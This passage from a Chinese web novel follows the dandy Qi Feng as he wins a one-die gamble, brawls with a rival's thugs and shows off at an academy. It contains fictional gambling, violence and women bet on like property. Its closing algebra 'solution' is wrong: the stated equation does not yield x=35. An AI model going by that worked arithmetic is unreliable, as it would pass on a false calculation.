“我老爹要是真的有这个本事,那我不用考秀才一样可以做官。”
“命里有官,书不用翻,还是老爹不够给力,不然我这个时候应该躺在太子寝宫翻牌子了!”
两女满脸嫌弃,鄙视的看着齐枫。
真是人比人气**,有的人一出生就在罗马,而有的人一出生就是牛马。
“老齐,老齐在不在?”
突然,院子外,一声粗狂的声音传了进来。
下一秒,一个两百斤大胖子哭丧个脸出现在三人面前,冲着就要往齐枫身上压去。
齐枫嫌弃的侧了下身子:“吴大胖,你要死啊?”
来人是前身的好基友,两人经常一起喝花酒,为人仗义,人傻钱多,一身大胖子,身体却灵活的诡异。
“老齐,齐大少,齐哥,救救我!”
吴胖子满脸祈求,可怜巴巴的盯着齐枫。
第七章 暗潮汹涌
齐枫伸手拦住要扑上来的吴胖子:“停停停!”
“咱们两个还是保持一点距离比较好。”
“你光说让我帮你,你倒是说什么事啊!”
吴胖子一把鼻涕一把泪,眼眶带着血丝:“齐哥,借我一千两!”
“诶诶诶,虽然咱们两个是好兄弟,你提钱多少有点敏感了啊!”齐枫连忙出声打断。
“啊?兄弟你居然觉得我们两个的关系不值一千两?”吴胖子满脸惊愕。
他确实有点吃惊,毕竟两人以前喝花酒的时候,随便一出手都是几百两,也互相给对方付过钱。
按理来说区区一千两不是什么很大的问题。
齐枫怒了努嘴,指着楚清秋:“诺,刚才买的,花了五百两,我老爹正要把我赶出家门呢!你觉得我还有钱借给你吗?”
他也很是无奈,要是放下平常的话,一千两就是小问题,可现在不是平常,他也无能为力。
吴胖子顺着齐枫手指的方向看去,只见面前一张脸上满是红斑的少女,顿时吃惊不已。
“啊?你花五百两就买了个这玩意回来?”
他将齐枫拉到一旁角落,上手摸了一把其额头,又感受了下自己的额头。
确认齐枫没有发烧,这才小声询问道:“不是哥们,你也没病啊,怎么就买了这个玩意回来?这也不像你的风格啊?”
两人去喝花酒要的都是顶级姿色的人,这一下子变化这么快,导致吴胖子还有点反应不过来。
齐枫一把搂住吴胖子的脖子:“兄弟,你小了,格局小了!”
“这女人虽然脸上有红斑,但是哥们可以治啊!”
“就她这身材,这条件,放在外面绝对是有价无市的,哥们这一波血赚啊!”
吴胖子怀疑的扭头确定了一眼。
当他看到楚清秋另外半边完美无瑕的脸,再加上那该凸的凸,该翘的翘。
凭他阅女无数的眼界,面前这人真的被治好了,绝对是一个绝品!
羡慕的泪水从嘴角流出:“兄弟,好哥哥,这个一千两让给我怎么样?”
“你?一千两?”齐枫砸吧着嘴。
“你刚才不是还问我借一千两了?你还有钱买?”
说起这个一千两,吴胖子有哭丧个脸:“齐哥,你就救救我吧!你要是这次帮了我,以后你就是我义父!”
听吴胖子被自己带的都叫出来义父这两个字,齐枫皱了皱眉头问道:“你看你,又急。你先说说到底是怎么回事?喝个花酒不至于一千两都拿不出来吧?”
吴胖子摆摆手:“不是喝酒啊!”
“你知道赵家的赌坊吗?我今天在里面碰到了张韬那孙子!”
“我一开始手气很好,连着赢了他八百多两!”
“就是最后一把筛子,我三个五,他给我开三个六出来,一把血洗我两千两!”
“停停停!”齐枫拦住他:“你怎么回事?我们两个不是说好了与赌毒不共戴天吗?你这何必呢?”
吴胖子满脸苦涩:“你别提了,我本身就是出去打算吃饭。”
“结果在酒楼门口梦见张韬,那孙子抓住你就骂,我看不过去上去和他理论,不知不觉就被拉进去玩筛子了!”
“到现在我人都是懵逼的,根本不知道自己是怎么输出去的钱!”
“张韬带你去的?”齐枫满脸诧异。
他可是记得很清楚,当时从拍卖行出来,张韬说自己活不了几天那句话。
不会是这小子在背后想怎么搞我吧?
齐枫心里暗暗想着。
凭他对张韬的了解,这人虽然狂傲易怒,不像是那种说空话的人。
“你确定只是出去吃饭,顺路碰见的张韬?”齐枫确定道。
吴胖子重重点头:“我很确定,我也是突然想出去喝酒,这才会碰见他。”
“那你最后的钱是怎么给人家的?”
“我哪有钱给啊,我说回家去取钱,然后给他们,现在他们还在赌坊等我呢!”
“我这不是没办法了,赶紧前来找你救场了!”
吴胖子无奈的叹了口气。
齐枫哈哈一笑,拍了拍他的肩膀:“兄弟,你就不想把这
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个钱赢回来?”
“赢回来?”
吴胖子眼珠快速转动,他哪里不知道,自己的好兄弟每次说这种话,就是要打脸了!
他当然不想做这个冤大头,莫名其妙给出去一千两银子,他只是有点小钱,不是有大病。
“我当然想赢回来,你就说吧,怎么做,我全部都听你的!”
吴胖子满脸希冀的看着齐枫。
齐枫奸诈一笑:“等会你去赌坊,继续找张韬玩,不过玩一个筛子的!”
听到玩一个筛子,吴胖子一脸难看的笑容:“义父,一个筛子是不是有点太装了?而且这个不确定性也很大啊!要是我老爹知道我输了一千两,我屁股能被打成八瓣的!”
齐枫故作正经:“主意我给你出了,想不想拿出来就看你的!要是我老爹知道我又偷拿了一千两去赌坊,屁股能给我打成十六瓣。”
“唉,那就听你的吧!”吴胖子无所谓甩了甩手。
他现在是真的走投无路了,不然这么刺激的玩法,他可是不敢玩的。
一个筛子六面,玩一个筛子的就是二大一,三大二,只能是大一点的情况下才算赢,其他的都算平局!
因此很少会有人玩一个筛子的,毕竟分胜负太慢了。
一行四人走出齐家大院,朝着赵家赌坊走去。
与此同时,中州中耀城,皇宫内。
一满脸威严的中年男子将龙案上的食物扫落在地。
他面前站着一个被黑袍包裹住的人。
“废物,真是废物!”
“朕让你们去找人,楚清秋无依无靠,你们居然被她跑了?”
“她现在跑到什么地方去了?”
黑裙人顿了顿。
“当时属下的人已经伤到她了,现在应该在青郡南边附近!”
“南边只有三个县城,应该一月时间就能找到!”
黑袍人那有些阴冷的声音传出。
“一个月?”
“朕只给你们半月时间,找不到自己提头来见!”
“滚吧!”
男人暴喝一声,随后摆手赶人。
第八章 虽然有点丑,能用就行
一行四人走了一刻钟,为首的吴胖子停在赵家赌坊门前。
不等齐枫开口,身后小荷一下窜出来拦在齐枫面前。
“少爷,您不是答应过老爷与赌毒不共戴天吗?为何今日会来这种地方?”
身后的楚清秋也是满脸不解,虽然她与齐枫相处的时间很短,但从对方的行事风格上来看,应该是不会相信这这种有去无回的事情。
她犹豫了半天,还是叹了口气,上前一步低声扭捏道:“少爷,这种地方最后都是庄家赢的,咱们根本没有赢钱的机会。”
“就是就是,少爷咱们快点回去吧。”
小荷也在一旁附和道。
这一刻,本身就同病相怜的两女,因为阻止齐枫去赌坊,再次站在同一条战线上,无形中两人的关系也拉近了不少。
齐枫满脸无奈,早知道这样他出来就不带两女了,到头来还给自己添堵。
他又何尝不知道这种地方最大的赢家永远都是庄家。
他有些意外的看了一眼楚清秋,按理来说,一个真的落魄的女人,是怎么知道这种地方里面的勾当的?
他再次对这个女人好奇起来。
吴胖子哭丧个脸,死死拉住齐枫衣袖:“义父啊,你可不能不管我啊,不然我老爹能给我屁股打成三十二瓣。”
齐枫没办法,只好向两人保证道:“放心,一旦我输钱超过五百,你们两个拉不走我,直接去告诉我老爹,这样总可以了吧?”
两女对视一眼,皆是无奈的摇头,她们也知道,齐枫才是几人的主心骨,他真的下了决定,两人说什么也无法改变。
只是,小荷有些怨恨地瞪着吴胖子,在她看来,就是因为这人才会让自家少爷来这种**不吐骨头的地方。
随着四人踏入赌坊内,就听见一句高调的声音响起:“今天全场所有消费,由赵公子买单!”
下一秒,一大群人跟着疯狂尖叫起来。
齐枫有些嫌弃的挖了挖耳朵:“这么吵,早知道就晚一会再进来了。”
吴胖子的眼神好像开了自瞄一般,刚一进去就看见了张牙舞爪的张韬,他侧面跟着的正是赵家大少——赵野。
好不容等尖叫声小了一点,吴胖子指了指两人,愤愤道:“老齐,就是他们两个。”
“我本来打算吃饭,碰到张韬,结果赵野还在,两个人一起赢了我一千多两。”
吴胖子指着两人,张韬最先反应过来,咧嘴轻蔑一笑:“哟,这不是送财童子吗?怎么?拿到钱了?还不给我送过来等什么呢?”
“张韬,你特么的,少在这里瞎叫,要不是你们两个人给我下套,我怎么可能输那么多钱?”
吴胖子输了钱本身就不高兴,还要被张韬指使,心里自然有气,也不管是不是人家的地盘,扯着嗓子叫骂起来。
听到这话张韬、赵野两人脸色一变。
赵野更是顺手抓起来一个小木头凳子,对着吴胖子挥舞了几下。
“死胖子,你说什么呢?在老子的地盘说老子使坏?今天要是不给我一个说法,那就让你爹抬你回去吧!”
“给我围起来!”
赵野一声令下,四周窜出来一大圈人,将四人围在中间。
“**?”
吴胖子脸色一变,下意识往后退了一步,死死贴着齐枫,脸上满是懊悔。
一旁小荷更是被吓得脸色惨白,整个人抱在楚清秋身上。
反观楚清秋倒是一脸平静,仔细看去,其眼神中满是冷冽,还夹杂着不屑。
想当初她被数万大军**面不改色,如今才这几十个人,在她看来不过是一群土鸡瓦狗乌合之众罢了。
齐枫呵呵一笑,伸出脚尖勾过来一个凳子,慵懒地坐上去。
“行了,别装了,都是老熟人了,你们到底是要钱还是要打我们一顿?”
“我先说好,我讹人还是很厉害的。”
看到齐枫波澜不惊的样子,楚清秋心里更加不解。
一个纨绔大少,在被数十人包围的情况下还能如此平静,单这一份定力就不是平常人能够拥有的。
第一次,楚清秋心里对齐枫这两个字画上一个大大的问号。
“齐枫,怎么特么哪里都有你?”
张韬火上心头,指着齐枫就是一阵
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鸟语花香。
“哎呀,谁家门没关上,怎么跑了一条狗出来了?”
齐枫嫌弃的捏着鼻子,一脸玩味地盯着张韬:“你的攻击力这么弱,是没吃饭吗?”
“要是要钱的话,现在就和我来赌一场,输了不仅给你们一千两,还额外多给你们一千两。”
“当然,你们要是输了,借据还回来,咱们各走各的路,如何?”
说话的时候齐枫难得正经起来。
看似是在提议,实则已经说出来自己的底线。
“你要和我们两个赌?”
赵野满脸惊愕。
他一个靠着赌坊发家的人,今天居然迎来了一位挑战者,这让很久没有出手的他觉得有些手痒起来。
一旁吴胖子急忙拉了一把:“齐枫,你疯了?”
“他赵家赵集就是靠着**发家的,只看其如今的产业就知道赵集的手法有多强大。”
“赵野虽然狂妄,有传闻说他的赌术更在他老爹之上,你是怎么敢和他玩的?”
身后楚清秋也是弱弱提醒:“少爷,这人奇怪的很,还是不要和他玩了。”
齐枫一脸平淡扭头看了眼楚清秋,二者四目相对。
他看到楚清秋满眼都是退缩,退缩里面却包含了一丝不一样的东西。
而楚清秋只觉得自己好像看见了一片**大海,自己好像即将溺死的人一般,双手无力的挣扎着,怎么都改变不了最后被溺死的结果。
“齐枫,男人吐口唾沫都是个钉,你可不要让我小瞧你了!”
赵野嘴角带着玩味的笑容,此刻的齐枫就好像处于四面都是墙的小兔子,等待他**,最后将其狠狠杀死。
和赵野对视的一瞬间,齐枫一脸犹豫:“赵野,要不就这么算了吧。我刚才也不知道你这么厉害啊。”
“算了?”
赵野向前一步,齐枫周围的人也向前一步。
“要么今天和我玩,要么老子让人抬你们两个出去。”
“还有你身后两个女人,都是你的侍女吧?”
“虽然长得有点丑,不过东西能用就行,闭上眼睛都是一样的。”
第九章 豪赌
此话一出,齐枫只觉得身后升腾一阵寒意,就像一只母狮蓄势待发。
他并没有回头,而是配合的缩了缩脖子:“赵野,不如我们加点赌注吧?”
赵野一愣,随即笑的更加狂妄:“啧啧啧,你都这样了,还想要加赌注?”
突然,赵野感受到身后一阵拉扯的力道。
转头对上张韬那猥琐的笑容:“和他加,把他身后的女人赢过来,我出三千两买。”
张韬之所以勾引吴胖子进来玩筛子,完全就是冲着齐枫去的。
不然的话,区区一个吴家,他还不放在眼里。
赵野一愣,下意识看了一眼半边脸都是红斑的女人:“你确定?我怎么不知道你还好这口?”
张韬没有解释:“你就按照我说的办,到时候干掉齐家,分赃的时候,我张家少要一成。”
“真的?你能做主?”赵野眼睛一亮。
“我能做主,放手去干就好。”张韬满脸玩味。
看向齐枫的眼神更加不屑,暗想道:哼,齐震天还真是有趣,自以为打通了往上攀爬的道路,真是不知道什么叫官商一家啊!
“我说你们两个商量好没有?”齐枫有些懦弱地询问着。
“怎么?你迫不及待了?”赵野大笑一声。
“好,加就加,我们输了不仅还给你们借据,我个人出资五百两,加上张韬五百两,一共两千两,全部给你们!”
“但是,你输了,不仅要把钱给我们兑现,还要把你身后的女人留下来!”
赵野大手指着楚清秋和小荷,眼神很是坚定。
“嗯?你要她?”
齐枫眼底闪过一抹诧异,他知道,这一定是张韬的主意。
虽然**张韬为什么铁了心要得到**禾,不过能恶心到对方,也算是他平淡日子里的一点趣事。
他摇摇头,反手将吴胖子推到前边:“我们要是输了,就把吴胖子输给你们。”
“至于我身后这女人,可是我花了五千两买来的,你们两个给的太少。”
“什么玩意?你明明只花了五百两!”张韬暴躁反驳道。
齐枫嘿嘿一笑:“人在我手上,我说她值多少钱就值多少钱。”
身后楚清秋满脸煞气,她堂堂大乾女帝,居然被人明码标价当成物品买来买去,虽然不是第一次,也够恶心人的。
最关键的是,她确定自己不认识张韬,不知道对方为何一心要得到自己。
仅仅是因为外貌?她可没有这么天真。
“好,五千两就五千两!”
张韬咬牙切齿道:“这五千两我用我张家城边五百亩良田来换,你也不算亏!”
“行,就按照你说的!不过咱们玩一个筛子的,不玩三个!”齐枫点头答应。
“一个?也行!”赵野稍微犹豫一下答应下来。
在他看来,不管是一个还是三个,身为纨绔的齐枫绝对不是他的对手,绝对不是!
随着赵野挥手,周围赵家下人让出一条路来,却巧妙地将大门的位置给拦住。
这点小伎俩自然瞒不过齐枫,他也不在乎这个。
只见他缓缓站起身来,就在他起身的那一刻,整个人身上的气质发生了翻天覆地的变化。
好像以前那个纨绔压根不是他,现在的他才是真实的他。
这也是他一直以来的信念,狮子搏兔亦用全力,他不懂别的,人生就四个字——斩草除根!
楚清秋更加吃惊,她心里感觉齐枫很强,没想到齐枫居然会有这么强。
在加上刚才对视的那一刻,她心里那个死去的信念在这一瞬间复活了,致使她信念复活的那个人就是齐枫。
看到齐枫的变化,赵野也是一愣,很快又不屑道:“真以为站起来就不是你了?”
“你知道不知道,我赵家的人私下里称呼我为赌神!”
齐枫露出两排洁白的牙齿:“赌神么,有点意思。我记得以前他们叫我赌圣,不过我们不赌钱,我们赌命。”
齐枫缓缓走到木桌面前,看着对面的赵野,很有礼貌地伸出右手:“一起?”
赵野屏住呼吸,这一刻,他觉得事情有点不对经,好像开始往他控制不住的方
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向发展。
身后楚清秋抱着已经被吓晕的小荷,和吴胖子一起来带齐枫身后,静静的看着这一场赌局。
她心里却在思索,齐枫什么时候还有一个赌圣的称号了?而且还是赌命?
两人同时抓起筛盅,摇的很慢,两人都清楚,这一落下,那可就是五千两白银。
即便是最为赚钱的赵家,五千两也要四个月时间才能赚到。
至于只知道种地的齐震天,五千两,夸张的说都够买他的命了。
齐枫双眼紧闭,他很清楚,这是一场豪赌,只有一个筛子的情况下,两人都想要一击毙命。
他认为,为人狂傲的赵野肯定会摇出最大的六点来。
他只需要摇出最小的一点就能赢过对方。
反观赵野,当他看见齐枫闭上双眼的那一刻,脸上露出一副残忍的笑容。
哼,我当是什么呢,原来是一只纸老虎罢了!
我猜你齐大少纨绔一生,从来没有尝试过被人踩在脚下的感觉吧?
那么六点会不会是你的最终点数呢?
你肯定会觉得我这么狂妄的一个人,一出手就是六点吧?
呵呵,还真是有意思。
很快,赵野手中的筛子停下,他想着筛盅里面的一点,仿佛已经看到自己胜利的那一刻。
嘴角不自觉的上扬,笑容越来越肆意妄为。
随着齐枫手中的筛盅落下,在场六人十二只眼睛死死的盯着桌面上的两个筛盅。
赵野张狂一笑:“齐枫,我知道你们都认为我很狂。”
“你们不知道的是,只要上了赌桌,我将不再是那个狂妄的赵野,反而是直击人心的梦魇!”
“现在,将你筛盅里面的六点给我亮出来!”
赵野大喝一声,猛然揭开筛盅,里面赫然出现一个红点。
“是一,是一!”
身后,张韬满脸兴奋,指着齐枫叫嚣道:“齐枫,你还在等什么?”
“你真以为赵野赌神的称呼是别人为了吹捧他才叫的吗?”
“赶紧亮出来你的六点,这场就算你们输了!”
第十章 告诉我,为什么?
赵野咧嘴狂笑,仿佛已经预料到自己即将赌赢的画面。
但当他看见齐枫那张自信且冷静的脸庞,他的心咯噔跳了一下。
“齐枫,你还不打开筛盅在等什么?难不成是输不起?”
赵野慌了,他伸出手去抢着揭开齐枫的筛盅。
后者大手猛的拍了下去,将赵野伸过来的手打断在木桌上。
“怎么?赵大少就这么确信我就是六点?”
齐枫神秘一笑。
不仅是他,身后的楚清秋等人也是一脸迷茫。
再看吴胖子,只见他十指相扣,暗暗祈祷着。
他知道,只要筛盅打开里面不是六点,这一局就是算平局,他们还有机会,还有机会的。
齐枫另一个手缓缓伸向筛盅,随着筛盅被揭开。
两个蓝色小点出现在众人眼中。
齐枫嗤笑一声:“怎么样?赵大少是不是很意外?”
“什么?你你你……”
赵野一连后退几步,他不敢相信,短短几个呼吸的时间,齐枫真的能且敢摇个二点出来。
楚清秋瞳孔骤缩,很快就反应过来,嘴角挂着一丝淡淡的笑容,微微上前一步,沉着道:“我们是两点,你只有一点,那就是我们赢了!”
“什么?我们赢了?”
吴胖子猛然睁开眼睛,扑上去趴在木桌上仔细看着面前的筛盅。
他看见齐枫筛盅里面静静地躺着一个蓝色的两点。
瞬间大笑出声:“哈哈哈,我们赢了,我们真的赢了!”
“赵野,就你这赌术还敢自称赌神?回家玩泥巴去吧!”
紧接着他伸出手:“张韬,把老子的钱还给老子!”
“还有城东边那五百亩良田,把地契一起给我交出来!”
齐枫没有说话,他瞥了眼周围那些蠢蠢欲动的打手,自知就算赢了东西,也不是那么轻易就能带走。
他伸手将吴胖子拉到自己身后,冷冷地注视着对面张韬两人:“怎么说?看你们这意思,赌完了还有一场自由搏击?”
张韬轻哼一声:“齐枫啊齐枫,没看出来你小子还有点脑子。”
“赌之前都不看看这是在谁的地盘上。”
“老实点把身后的女人交出来,我放你们三个走。”
“否则别怪我不顾及咱们两人之间的情分。”
“情分?”齐枫暗自摇头:“难得你还能想起来我们两个之间的情分。既然你人这么好,那我就在给你上一课。”
话了,齐枫压根不给两人反应的机会,后脚一踹,一旁的凳子犹如炮弹一样砸飞出去。
守在门口的十多打手被这突然飞来的凳子打了个措手不及。
“动手!”
赵野从桌子下方抽出一根婴儿手臂粗的木棍,大力朝齐枫砸去。
事发突然,在场之人谁也没有想到身处劣势的齐枫敢率先出手。
一旁镇定自若的楚清秋抱着小荷,拽着吴胖子暗自退到一旁角落。
她的身旁也有一个小凳子,只有她自己知道,这凳子随时可以成为她的武器。
她并没有动手,只是静静地在角落,用满是欣赏的神色看着人群中来去自如的齐枫。
不一会,赵野环顾四周,原本站着的三十多打手,如今能动的只有四五个人。
他看了眼一旁顶着两个黑眼圈的张韬,不解道:“你怎么变成这个样子了?”
张韬心里苦,他自认为三十多人对一个人,优势在我,想上去浑水摸鱼。
不等他靠近齐枫,两电炮**成了熊猫眼。
张韬无奈指着齐枫:“除了这个疯子还能有谁?”
“特么的,老子就是过去想占便宜,两下给**成这个样子。”
“不打了不打了,你要什么就给你什么。”
张韬从怀中掏出一张借据,朝着齐枫扬了扬手:“诺,东西在这,你过来……等等,还是我放在地上你再过来拿吧。”
齐枫活动了下手腕,手臂伸直对着张韬,勾了勾食指:“我要你给我送过来。”
听到这话,张韬脸色一变,想了想上一秒两电炮的威力,浑身发颤:“齐枫,你不要太过分,我认输了,你自己不会过来拿?”
齐枫邪魅一笑:“要么你过来,要么我过去,你自己选。”
“你别说,这手怎么还有点痒呢!”
齐枫装模作样的活动手腕,时不时的
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冲张韬扬一下。
看见这一幕,张韬哪里还不知道,今天他不过去,这事就完不了。
强忍内心的惧怕,一步三回头的走到距离齐枫约莫一丈远处。
费力的伸出右手,将借据给出去。
齐枫猛地抬手。
就这一个动作,吓得张韬立即蹲在原地。
等了半天,愣是没有等到要遭受的攻击。
他抬头一看,却发现齐枫只是挠了挠后脑勺。
周围躺在地上的打手也都停止了哀嚎,一个个强忍着笑意。
躲在角落的楚清秋甚至发出了小小的嘲笑声。
一瞬间,张韬满腔怒火。
他是谁?
他可是张家二少,是青田县高高在上的存在。
怎么会允许这些低等下人嘲笑自己?
他将所有的错误都归结在齐枫身上,要不是对方有这个动作,他又怎么会当众出丑?
要说之前两人还是小打小闹,从这一刻开始,齐枫已经上了张韬的小本本。
接过收据的齐枫,无奈摇头:“张二少,你这也不行啊,我就是挠挠头,差点给你吓失禁。以后万一真不举,咱们做兄弟在心中!”
“齐枫,你很好!你真的很好!”张韬差点将牙齿咬碎。
对于这不痛不痒的威胁,齐枫压根不当回事。
随手招呼四人朝门口走去。
只要是他经过的地方,躺在地上的那些打手,强忍着疼痛也赶紧换个地方又继续躺着。
“对了。”
走到门口的齐枫突然回头冲张韬开口:“张家二少,我不希望在我的良田上看到你家的人。”
看着四人的背影,张韬越想越想,一拳锤在一旁的顶梁柱上。
“嗷!”
他连忙收回手,用力的甩了几下,看了看有些发红的手背,泪水在眼眶中直打转。
一旁的赵野没有心思嘲笑,反而忧心忡忡地问道:“张韬,我们两家到底是不是合作关系?”
张韬敷衍道:“当然是,不然我会承诺干掉齐家之后平分财产吗?”
“那好,那你告诉我,为什么一定要得到那个臭女人?”
赵野满脸不解的追问起来。
第十一章 书院风波
“呃……”
张韬眼珠子转动,真实目的他自是万万不能说的。
他可没想过真带着赵野一起玩,不过看对方这样子,显然也是起疑了,不打消这个疑惑不行。
于是计上心头,来到赵野身旁,勾肩搭背,小声道:“赵兄,此时天知地知,你知我知,你不可告知他人,实不相瞒,小弟我有一些癖好,就喜欢……”
话未说完,就看张韬挑了挑眉。
赵野一脸目瞪口呆。
尤其是看着张韬顶着一对熊猫眼对自己的挑眉说那话时的表情,简直是要多猥琐就有多猥琐。
“真的假的?”赵野几乎是脱口而出,心里已经把张韬的十八代祖宗都问候了一遍。
若是他人说出这话,他自是不信的,但他们这几个纨绔都是出了名的,有一些常人没有的癖好也很正常。
只是这癖好可以冷门,不可以邪门啊!
“会有人拿这件事情来开玩笑吗?赵兄,我是将你当成了我的挚交好友才告诉你这个秘密,不可泄露啊!”张韬一脸认真的点头。
当他看着赵野望着自己的目光越发奇怪时,他就知道,自己的形象回不去了。
不过不重要,这一切,都是为了张家!
至于他说齐枫活不了多久了,那是因为他最近新结识了一个江湖大哥,武艺高强。
只需他再做做大哥的工作,这齐枫,也不过就一刀下亡魂!
张韬昂首挺胸,只觉自己身影越发高大!
赌坊外,夕阳西下。
“齐哥!你刚才那招太神了!”吴胖子激动得满脸通红,手舞足蹈地比划着,“就那么唰地一下,赵野那孙子脸都绿了!
小荷搀扶着楚清秋,闻言忍不住噗嗤一笑:“吴少爷,您这都说了第八遍了。”
“八遍哪够?我要说八十遍!”吴胖子拍着圆滚滚的肚皮,“齐哥你是没看见,张韬那王八蛋输掉地契时,手抖得跟筛糠似的!”
齐枫懒洋洋地打了个哈欠,目光却若有所思地扫过街角几个鬼鬼祟祟的身影。
“行了,各回各家。”齐枫拍拍吴胖子的肩膀,突然压低声音,“最近少出门,有人盯上咱们了。”
吴胖子一愣,顺着齐枫的目光看去,顿时吓得一个激灵:“我,我这就回家闭门思过!”
说完一溜烟跑了,活像只受惊的肥兔子。
“好了,我们也回家!”齐枫大手一挥,带着两女朝着齐家慢悠悠的走去。
齐府大门前,夕阳将朱漆大门映得血红。
齐枫刚踏上门槛,就听见里面传来一声暴喝:“逆子!给我跪下!”
齐震天手持家法棍,怒发冲冠地站在庭院中央。
那根油光发亮的黄梨木棍子,在夕阳下散发着阵阵凶光,让齐枫想起被支配的恐惧。
“爹,您这是……”齐枫眨巴着眼睛,一脸无辜。
“还敢装傻!”齐震天抡起棍子就往地上砸,青石板上顿时迸出火星,“赵家赌坊的人都报信来了!你竟敢去那种地方!”
“爹,您听我解释……”
“解释个屁!”齐震天一把揪住齐枫的耳朵,“上次在怡红院打架,上上次在酒楼赊账,这次居然敢去赌坊!老子今天非打断你的腿不可!”
家法棍带着风声呼啸而下,齐枫突然大喊:“我赢了两千两!”
棍子硬生生停在半空。
“什,什么?”齐震天的手抖了抖。
“喏。”齐枫从怀里掏出一叠银票,最上面那张赫然是张家的地契,“五百亩良田,外加一千五百两现银。”
齐震天的表情精彩极了。
愤怒还僵在脸上,眼睛却已经瞪得溜圆,活像只被掐住脖子的老鹅。
“真,真的?”他颤巍巍地接过银票,对着夕阳反复查看水印。
小荷趁机跑出来:“老爷,少爷可厉害了!把赵野和张韬打得落花流水!”小丫头手舞足蹈地比划着,“特别是张二少爷,输得裤子都快当了!”
“噗嗤!”
躲在厨房偷看的丫鬟们笑成一团。
齐震天老脸一红,尴尬地咳嗽两声:“那,那也不能去赌坊!”语气却已经软了八分。
“爹教训的是。”齐枫乖巧低头,趁父亲不注意,悄悄对小
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荷比了个大拇指。
“行了,下不为例!”齐震天收起棍子,大步离开了。
齐枫松了口气,他日子是好过了,可有人的日子就不好过了。
张府,正厅。
“逆子!”张家家主**然气得胡子直翘,手里的藤条“啪啪”地抽在桌案上,“五百亩良田!你就这么输给齐家那废物了?”
张韬跪在地上,缩着脖子辩解:“爹,那废物出老千,肯定有问题!”
“放屁!”**然一脚踹翻凳子,“证据呢?他要是出老千,赵野会看不出来?”
角落里,张家大少爷张济明阴恻恻地插话:“爹,不如就把青峰山那片地给他们,那儿离河道远,灌溉不便,齐家拿了也是白拿。”
**然眯起眼睛:“接着说。”
“更妙的是,”张济阴笑道:“那片地正好在县衙新划的特税区,每亩要多交三成税。到时候齐家不仅白忙活,还得倒贴银子!”
张韬眼前一亮:“对,爹,我也是这么想的!”
……
翌日清晨,清晨的阳光透过窗棂洒在齐枫脸上时,他正四仰八叉地躺在床上,嘴角还挂着口水。
小荷端着铜盆站在床边,犹豫了半晌才轻声道:“少爷,该起了,今日要去书院报到呢。”
“滚!”齐枫一个翻身,被子蒙住了头。
门外传来齐震天的怒吼:“小兔崽子,再不起床老子打断你的腿!”
齐枫猛地坐起身,顶着一头乱发,睡眼惺忪地嘟囔:“催命呢这是!”
半个时辰后,齐枫穿着崭新的湖蓝色长衫,腰间挂着玉佩,摇摇晃晃地站在书山书院大门前。
他身后跟着抱着书箱的小荷和戴着面纱的楚清秋。
“少爷,您真要带着青禾姐姐一起来书院啊?”小荷担忧地看着四周投来的异样目光。
齐枫打了个哈欠:“废话,她这病得随时照看。再说了……”
他突然转身,用折扇挑起楚清秋的下巴,“这么漂亮的姑娘,藏在家里多可惜?”
楚清秋眼中寒光一闪,强忍着没把这只爪子剁下来。
第十二章 大闹书院
书山书院依山而建,青砖黛瓦间透着几分古朴。
刚踏入大门,一个留着山羊胡的中年男子就拦住了他们。
“齐公子,书院重地,闲杂人等不得入内。”
齐枫眯起眼睛:“赵教**是吧?这是我贴身婢女和侍妾,怎么就是闲杂人等了?”
赵教**冷笑:“书山书院规矩,学子不得携带女眷。齐公子若是不愿遵守,大可去青川书院。”
“哦?”齐枫突然凑近,挑了挑眉:“可我听说,赵野上个月还带了三个粉头在藏书阁饮酒作乐呢。怎么,赵家的规矩和别人的不一样?”
赵教**脸色一变,还没等他开口,一个洪亮的声音从身后传来:“齐公子好大的威风,刚来就要坏我书院规矩?”
来人约莫五十岁上下,一身洗得发白的青色长衫,面容严肃,正是书山书院的山长,周文翰。
齐枫不慌不忙地行了一礼:“周山长明鉴,学生只是担心家中病人无人照料。若书院实在不许,我这就让她们回去。”
周文翰目光在楚清秋身上停留片刻,突然道:“这位姑娘身有顽疾?”
“正是。”齐枫点头,“学生略通医术,需每日为她施针用药。”
周文翰沉吟片刻:“既如此,破例一次。但只许在偏院等候,不得干扰学子读书。”
“多谢山长!”
看着周文翰离去的背影,楚清秋低声道:“这老头不简单。”
齐枫轻笑:“当然不简单。二十年前的状元郎,因得罪权贵被贬到这小小书院,肚子里装着真才实学呢。”
开学典礼上,齐枫故意选了最前排的位置,翘着二郎腿,时不时对着台上的教**指指点点。
当赵教**开始讲解《论语》时,齐枫突然大声打了个哈欠。
“齐公子有何高见?”赵教**冷着脸问。
齐枫懒洋洋地站起来:“我就是觉得,赵教**讲的都是陈词滥调。子曰子曰,两千年前的老头知道现在什么世道吗?”
学堂里顿时一片哗然。
“放肆!”赵教**拍案而起,“圣人之言,岂容你亵渎!”
周文翰抬手制止,目光炯炯地看着齐枫:“那依齐公子之见,该如何解读?”
齐枫整了整衣襟,突然正色道:“学而时**之重点不在学,而在**。就像农夫种地,光学不练,饿**。”
他随手拿起案上一本账册:“比如这书院账目,去年修缮费三百两,实际用料不到百两。赵教**,您说这是不是学而不**的典范?”
赵教**脸色煞白:“你,你血口喷人!”
周文翰眼中精光一闪:“齐公子如何得知这些?”
“算出来的啊。”齐枫拿起毛笔,在纸上刷刷写下一串数字,“书院屋顶用瓦三万片,市价每百片一钱银子,加上工钱,啧啧,这账做得太糙了。”
整个学堂鸦雀无声。
这些账目问题周文翰早有察觉,却苦于没有证据,没想到被一个纨绔子弟当场揭穿。
“好!”周文翰突然抚掌,“齐公子果然深藏不露。正好青川书院送来一道算学难题,不如请你一试?”
齐枫心里暗笑,上钩了。
题目写在绢布上,是道复杂的粮仓分配问题。
学堂里的学子们传阅后,个个摇头叹息。
当绢布传到齐枫手中时,他只看了一眼就笑了。
“就这?青川书院的水平?”
已知甲仓存米是乙仓三倍,每日从甲仓取十石,乙仓取五石,七日后两仓余量相等,求最初存粮几何?
学堂里顿时响起此起彼伏的算盘声。
齐枫瞥了一眼,差点笑出声。
这不就是初中数学的二元一次方程吗?
他突然拍案而起,惊得邻座学子墨汁洒了满纸。
“这题简单!”齐枫大步走到堂前,抓起支毛笔就在白板上画起来,“设乙仓初始为x石,甲仓就是3x……”
满堂寂静中,
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齐枫用现代代数符号列出一串公式。
毛笔在宣纸上龙飞凤舞,那些古怪符号看得众人目瞪口呆。
“所以七日后甲仓余量是3x-70,乙仓是x-35……”齐枫笔下不停,“令二者相等,解得x=35,也就是说,乙仓原有35石,甲仓105石。”
他扔下毛笔,周文翰盯着那些符号,枯瘦的手指微微发抖:“这,这是西域算法?”
